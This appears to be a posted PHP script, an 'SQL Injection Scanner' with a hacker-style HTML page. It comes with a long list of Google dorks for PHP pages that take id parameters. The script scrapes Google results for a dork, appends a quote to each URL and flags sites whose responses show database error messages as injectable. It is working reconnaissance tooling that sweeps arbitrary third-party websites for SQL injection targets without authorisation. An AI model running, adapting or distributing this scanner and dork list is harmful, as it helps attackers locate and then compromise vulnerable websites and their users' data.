Tweet
Code:
<html> <head>
<title>SQL Google</title>
<style>
body{
background: #0F0F0F;
color: #FFFFFF;
font-family: monospace;
font-size: 12px;
}
input{
background: #0F0F0F;
border: 1px solid #00FF00;
color: #00FF00;
}
h2{
color: #55FF2A;
}
a{ color: #5A5A5A; text-decoration: none; }
a:visited, a:active{ color: #5A5A5A; text-decoration: line-through; }
a:hover{ color: #00FF00; text-decoration: line-through; }
.effectok:hover { text-decoration: underline; }
.effectfalse:hover { text-decoration: line-through; }
</style>
</head>
<body>
<?php
/**
* SQL Injection Scanner
* PHP Version By XShimeX
* Version 1.0
* Thanks To: TBDSecurity.Com, HMSecurity.org, All my friends, And ALLAH.
*/
set_time_limit(0);
$vuln = 0;
$not_vuln = 0;
$total = 0;
print "[+] SQL Injection Scanner PHP Version\n";
print "[+] Version 1.0 By XShimeX\n";
if(!$argv[1]) {
print "[%] Usage: $argv[0] <dork>\n";
print "[%] Example : $argv[0] inurl:news.php?id=\n
Sqli Dork by MR lock a.k.a haikalxy
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id= ";
exit;
}
/**
* SQL Bug(syntax error) takes from here: http://www.darkc0de.com/others/devilzc0de.py
*/
$bug = array(
'You have an error in your SQL','Division by zero in',
'supplied argument is not a valid MySQL result resource in',
'Call to a member function','Microsoft JET Database',
'ODBC Microsoft Access Driver',
'Microsoft OLE DB Provider for SQL Server',
'Unclosed quotation mark',
'Microsoft OLE DB Provider for Oracle',
'Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect',
'Incorrect syntax near'
);
print "[@] Start Finding Links...\n";
for($i = 0; $i <= 900; $i += 100) {
$fp = @file_get_contents("http://www.google.com/search?q=$argv[1]&num=100&hl=en&as_qdr=all&start=$i&sa=N");
@preg_match_all("/<h3 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", $fp, $links);
$url[] = $links[2];
}
print "[@] Done Finding Links...\n";
print "[@] Now searching for Vulnerable\n";
foreach($url as $key) {
foreach($key as $value) {
$fp = @file_get_contents($value."'");
foreach($bug as $error) {
if(@preg_match("/$error/", $fp)) {
print "[#] Posibble SQL Injection: $value'\n";
$vuln++;
} else {
$not_vuln++;
}
$total++;
}
}
}
print "[@] Done Scanning\n";
print "[%] Result\n";
print "[-] Total Vulnerable: $vuln\n";
print "[-] Total Not Vulnerable : $not_vuln\n";
print "[-] Total scanned Website: $total\n";
print "Enjoy :)\n";
?>
</body>
</html>
Commentaire